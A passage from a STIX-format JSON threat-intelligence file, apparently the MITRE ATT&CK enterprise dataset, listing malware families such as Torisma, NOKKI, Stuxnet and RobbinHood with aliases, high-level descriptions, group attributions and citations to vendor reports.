October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018."},{"source_name":"FireEye Periscope March 2018","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Orz](https://attack.mitre.org/software/S0229) is a custom JavaScript backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065). It was observed being used in 2014 as well as in August 2017 when it was dropped by Microsoft Publisher files. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)","modified":"2022-04-19T01:33:33.267Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Orz","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Torisma"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--0715560d-4299-4e84-9e20-6e80ab57e4f2","created":"2022-02-01T16:21:13.097Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0678","url":"https://attack.mitre.org/software/S0678"},{"source_name":"McAfee Lazarus Nov 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/","description":"Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. Retrieved December 20, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Torisma](https://attack.mitre.org/software/S0678) is a second stage implant designed for specialized monitoring that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032). [Torisma](https://attack.mitre.org/software/S0678) was discovered during an investigation into the 2020 Operation North Star campaign that targeted the defense sector.(Citation: McAfee Lazarus Nov 2020)","modified":"2022-04-13T21:11:36.982Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Torisma","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["NOKKI"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a","type":"malware","created":"2019-01-30T19:50:45.307Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0353","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0353"},{"source_name":"NOKKI","description":"(Citation: Unit 42 NOKKI Sept 2018)"},{"source_name":"Unit 42 NOKKI Sept 2018","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/","description":"Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018."},{"source_name":"Unit 42 Nokki Oct 2018","url":"https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/","description":"Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018."}],"modified":"2020-03-18T15:22:32.747Z","name":"NOKKI","description":"[NOKKI](https://attack.mitre.org/software/S0353) is a modular remote access tool. The earliest observed attack using [NOKKI](https://attack.mitre.org/software/S0353) was in January 2018. [NOKKI](https://attack.mitre.org/software/S0353) has significant code overlap with the [KONNI](https://attack.mitre.org/software/S0356) malware family. There is some evidence potentially linking [NOKKI](https://attack.mitre.org/software/S0353) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["yty"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0248","external_id":"S0248"},{"source_name":"yty","description":"(Citation: ASERT Donot March 2018)"},{"source_name":"ASERT Donot March 2018","description":"Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.","url":"https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/"}],"modified":"2020-03-28T21:45:32.149Z","name":"yty","description":"[yty](https://attack.mitre.org/software/S0248) is a modular, plugin-based malware framework. The components of the framework are written in a variety of programming languages. (Citation: ASERT Donot March 2018)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Backdoor.Oldrea","Havex"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--083bb47b-02c8-4423-81a2-f9ef58572974","created":"2017-05-31T21:32:59.661Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"S0093","url":"https://attack.mitre.org/software/S0093"},{"source_name":"Gigamon Berserk Bear October 2021","url":"https://vblocalhost.com/uploads/VB2021-Slowik.pdf","description":"Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021."},{"source_name":"Symantec Dragonfly Sept 2017","url":"https://docs.broadcom.com/doc/dragonfly_threat_against_western_energy_suppliers","description":"Symantec Security Response. (2014, July 7). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017."},{"source_name":"Symantec Dragonfly","url":"https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments","description":"Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) is a modular backdoor that used by [Dragonfly](https://attack.mitre.org/groups/G0035) against energy companies since at least 2013. [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) was distributed via supply chain compromise, and included specialized modules to enumerate and map ICS-specific systems, processes, and protocols.(Citation: Symantec Dragonfly)(Citation: Gigamon Berserk Bear October 2021)(Citation: Symantec Dragonfly Sept 2017)","modified":"2022-04-20T01:25:31.056Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Backdoor.Oldrea","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["DOGCALL"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--0852567d-7958-4f4b-8947-4f840ec8d57d","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0213","external_id":"S0213"},{"source_name":"DOGCALL","description":"(Citation: FireEye APT37 Feb 2018)"},{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2020-03-30T15:27:25.149Z","name":"DOGCALL","description":"[DOGCALL](https://attack.mitre.org/software/S0213) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067) that has been used to target South Korean government and military organizations in 2017. It is typically dropped using a Hangul Word Processor (HWP) exploit. (Citation: FireEye APT37 Feb 2018)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Stuxnet","W32.Stuxnet"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","created":"2020-12-14T17:34:58.457Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"S0603","url":"https://attack.mitre.org/software/S0603"},{"source_name":"W32.Stuxnet","description":"(Citation: Symantec W.32 Stuxnet Dossier)"},{"source_name":"CISA ICS Advisory ICSA-10-272-01","url":"https://us-cert.cisa.gov/ics/advisories/ICSA-10-272-01","description":"CISA. (2010, September 10). ICS Advisory (ICSA-10-272-01). Retrieved December 7, 2020."},{"source_name":"ESET Stuxnet Under the Microscope","url":"https://www.esetnod32.ru/company/viruslab/analytics/doc/Stuxnet_Under_the_Microscope.pdf","description":"Matrosov, A., Rodionov, E., Harley, D., Malcho, J.. (n.d.). Stuxnet Under the Microscope. Retrieved December 7, 2020."},{"source_name":"Symantec W.32 Stuxnet Dossier","url":"https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf ","description":"Nicolas Falliere, Liam O. Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier. Retrieved December 7, 2020."},{"source_name":"Langer Stuxnet","url":"https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf","description":"Ralph Langner. (2013, November). Ralph Langner. (2013, November). To Kill a Centrifuge: A Technical Analysis of What Stuxnet's Creators Tried to Achieve. Retrieved December 7, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Stuxnet](https://attack.mitre.org/software/S0603) was the first publicly reported piece of malware to specifically target industrial control systems devices. [Stuxnet](https://attack.mitre.org/software/S0603) is a large and complex piece of malware that utilized multiple different behaviors including multiple zero-day vulnerabilities, a sophisticated Windows rootkit, and network infection routines.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: CISA ICS Advisory ICSA-10-272-01)(Citation: ESET Stuxnet Under the Microscope)(Citation: Langer Stuxnet) [Stuxnet](https://attack.mitre.org/software/S0603) was discovered in 2010, with some components being used as early as November 2008.(Citation: Symantec W.32 Stuxnet Dossier)","modified":"2022-04-19T01:44:44.149Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Stuxnet","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Downdelph","Delphacy"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--08d20cd2-f084-45ee-8558-fa6ef5a18519","type":"malware","created":"2017-05-31T21:33:16.790Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0134","external_id":"S0134"},{"source_name":"ESET Sednit Part 3","description":"ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf"}],"modified":"2020-03-30T15:32:15.795Z","name":"Downdelph","description":"[Downdelph](https://attack.mitre.org/software/S0134) is a first-stage downloader written in Delphi that has been used by [APT28](https://attack.mitre.org/groups/G0007) in rare instances between 2013 and 2015. (Citation: ESET Sednit Part 3)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["SEASHARPEE"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--0998045d-f96e-4284-95ce-3c8219707486","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0185","external_id":"S0185"},{"source_name":"SEASHARPEE","description":"(Citation: FireEye APT34 Webinar Dec 2017)"},{"url":"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east","description":"Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.","source_name":"FireEye APT34 Webinar Dec 2017"}],"modified":"2021-04-23T20:29:59.216Z","name":"SEASHARPEE","description":"[SEASHARPEE](https://attack.mitre.org/software/S0185) is a Web shell that has been used by [OilRig](https://attack.mitre.org/groups/G0049). (Citation: FireEye APT34 Webinar Dec 2017)","x_mitre_version":"2.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Get2"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--099ecff2-41b8-436d-843c-038a9aa9aa69","type":"malware","created":"2020-05-29T20:32:42.686Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0460","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0460"},{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}],"modified":"2020-06-16T16:48:16.541Z","name":"Get2","description":"[Get2](https://attack.mitre.org/software/S0460) is a downloader written in C++ that has been used by [TA505](https://attack.mitre.org/groups/G0092) to deliver [FlawedGrace](https://attack.mitre.org/software/S0383), [FlawedAmmyy](https://attack.mitre.org/software/S0381), Snatch and [SDBbot](https://attack.mitre.org/software/S0461).(Citation: Proofpoint TA505 October 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["POWRUNER"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0184","external_id":"S0184"},{"source_name":"POWRUNER","description":"(Citation: FireEye APT34 Dec 2017)"},{"url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","source_name":"FireEye APT34 Dec 2017"}],"modified":"2020-07-06T16:11:56.562Z","name":"POWRUNER","description":"[POWRUNER](https://attack.mitre.org/software/S0184) is a PowerShell script that sends and receives commands to and from the C2 server. (Citation: FireEye APT34 Dec 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["RobbinHood"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--0a607c53-df52-45da-a75d-0e53df4dad5f","type":"malware","created":"2019-07-29T14:27:18.204Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0400","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0400"},{"description":"Lee, S. (2019, May 17). CB TAU Threat Intelligence Notification: RobbinHood Ransomware Stops 181 Windows Services Before Encryption. Retrieved July 29, 2019.","url":"https://www.carbonblack.com/2019/05/17/cb-tau-threat-intelligence-notification-robbinhood-ransomware-stops-181-windows-services-before-encryption/","source_name":"CarbonBlack RobbinHood May 2019"},{"description":"Duncan, I., Campbell, C. (2019, May 7). Baltimore city government computer network hit by ransomware attack. Retrieved July 29, 2019.","url":"https://www.baltimoresun.com/politics/bs-md-ci-it-outage-20190507-story.html","source_name":"BaltimoreSun RobbinHood May 2019"}],"modified":"2020-03-30T18:05:52.348Z","name":"RobbinHood","description":"[RobbinHood](https://attack.mitre.org/software/S0400) is ransomware that was first observed being used in an attack against the Baltimore city government's computer network.(Citation: CarbonBlack RobbinHood May 2019)(Citation: BaltimoreSun RobbinHood May 2019)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":[],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--0a9c51e0-825d-4b9b-969d-ce86ed8ce3c3","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0177","external_id":"S0177"},{"source_name":"MalwareTech Power Loader Aug 2013","description":"MalwareTech. (2013, August 13). PowerLoader Injection – Something truly amazing. Retrieved December 16, 2017.","url":"https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html"},{"source_name":"WeLiveSecurity Gapz and Redyms Mar 2013","description":"Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.","url":"https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/"}],"modified":"2018-10-17T00:14:20.652Z","name":"Power Loader","description":"[Power Loader](https://attack.mitre.org/software/S0177) is modular code sold in the cybercrime market used as a downloader in malware families such as Carberp, Redyms and Gapz. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["TDTESS"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0164","external_id":"S0164"},{"source_name":"TDTESS","description":"(Citation: ClearSky Wilted Tulip July 2017)"},{"url":"http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf","description":"ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.","source_name":"ClearSky Wilted Tulip July 2017"}],"modified":"2020-03-30T18:18:53.335Z","name":"TDTESS","description":"[TDTESS](https://attack.mitre.org/software/S0164) is a 64-bit .NET binary backdoor used by [CopyKittens](https://attack.mitre.org/groups/G0052). (Citation: ClearSky Wilted Tulip July 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["SharpStage"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--0ba9281c-93fa-4b29-8e9e-7ef918c7b13a","type":"malware","created":"2020-12-22T17:02:52.954Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0546","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0546"},{"source_name":"SharpStage","description":"(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)"},{"source_name":"Cybereason Molerats Dec 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."},{"source_name":"BleepingComputer Molerats Dec 2020","url":"https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/","description":"Ilascu, I. (2020, December 14). Hacking group’s new malware abuses Google and Facebook services. Retrieved December 28, 2020."}],"modified":"2021-08-18T23:48:44.783Z","name":"SharpStage","description":"[SharpStage](https://attack.mitre.org/software/S0546) is a .NET malware with backdoor capabilities.(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Smoke Loader","Dofoil"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0226","external_id":"S0226"},{"source_name":"Smoke Loader","description":"(Citation: Malwarebytes SmokeLoader 2016) (Citation: Microsoft Dofoil 2018)"},{"source_name":"Dofoil","description":"(Citation: Malwarebytes SmokeLoader 2016) (Citation: Microsoft Dofoil 2018)"},{"source_name":"Malwarebytes SmokeLoader 2016","description":"Hasherezade. (2016, September 12). Smoke Loader – downloader with a smokescreen still alive. Retrieved March 20, 2018.","url":"https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/"},{"source_name":"Microsoft Dofoil 2018","description":"Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018.","url":"https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/"}],"modified":"2020-03-28T21:43:37.366Z","name":"Smoke Loader","description":"[Smoke Loader](https://attack.mitre.org/software/S0226) is a malicious bot application that can be used to load other malware.\n[Smoke Loader](https://attack.mitre.org/software/S0226) has been seen in the wild since at least 2011 and has included a number of different payloads. It is notorious for its use of deception and self-protection. It also comes with several plug-ins. (Citation: Malwarebytes SmokeLoader 2016) (Citation: Microsoft Dofoil 2018)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":[],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--0ced8926-914e-4c78-bc93-356fb90dbd1f","type":"malware","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0151","external_id":"S0151"},{"source_name":"FireEye FIN7 April 2017","description":"Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. 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Retrieved June 25, 2020."},{"source_name":"objective-see windtail1 dec 2018","url":"https://objective-see.com/blog/blog_0x3B.html","description":"Wardle, Patrick. (2018, December 20). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 1). Retrieved October 3, 2019."},{"source_name":"objective-see windtail2 jan 2019","url":"https://objective-see.com/blog/blog_0x3D.html","description":"Wardle, Patrick. (2019, January 15). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 2). Retrieved October 3, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WindTail](https://attack.mitre.org/software/S0466) is a macOS surveillance implant used by [Windshift](https://attack.mitre.org/groups/G0112). [WindTail](https://attack.mitre.org/software/S0466) shares code similarities with Hack Back aka KitM OSX.(Citation: SANS Windshift August 2018)(Citation: objective-see windtail1 dec 2018)(Citation: objective-see windtail2 jan 2019)","modified":"2022-04-20T22:03:11.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"WindTail","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Misdat"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039","type":"malware","created":"2017-05-31T21:32:55.126Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0083","external_id":"S0083"},{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. 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Retrieved December 17, 2020."},{"source_name":"Anomali Linux Rabbit 2018","url":"https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat","description":"Anomali Labs. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved March 4, 2019."}],"modified":"2020-12-22T15:46:17.965Z","name":"Linux Rabbit","description":"[Linux Rabbit](https://attack.mitre.org/software/S0362) is malware that targeted Linux servers and IoT devices in a campaign lasting from August to October 2018. It shares code with another strain of malware known as Rabbot. The goal of the campaign was to install cryptocurrency miners onto the targeted servers and devices.(Citation: Anomali Linux Rabbit 2018)\n","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ryan Becwar"],"x_mitre_aliases":["adbupd"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--0f1ad2ef-41d4-4b7a-9304-ddae68ea3005","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0202","external_id":"S0202"},{"source_name":"adbupd","description":"(Citation: Microsoft PLATINUM April 2016)"},{"url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","source_name":"Microsoft PLATINUM April 2016"}],"modified":"2020-03-30T18:33:31.623Z","name":"adbupd","description":"[adbupd](https://attack.mitre.org/software/S0202) is a backdoor used by [PLATINUM](https://attack.mitre.org/groups/G0068) that is similar to [Dipsind](https://attack.mitre.org/software/S0200). (Citation: Microsoft PLATINUM April 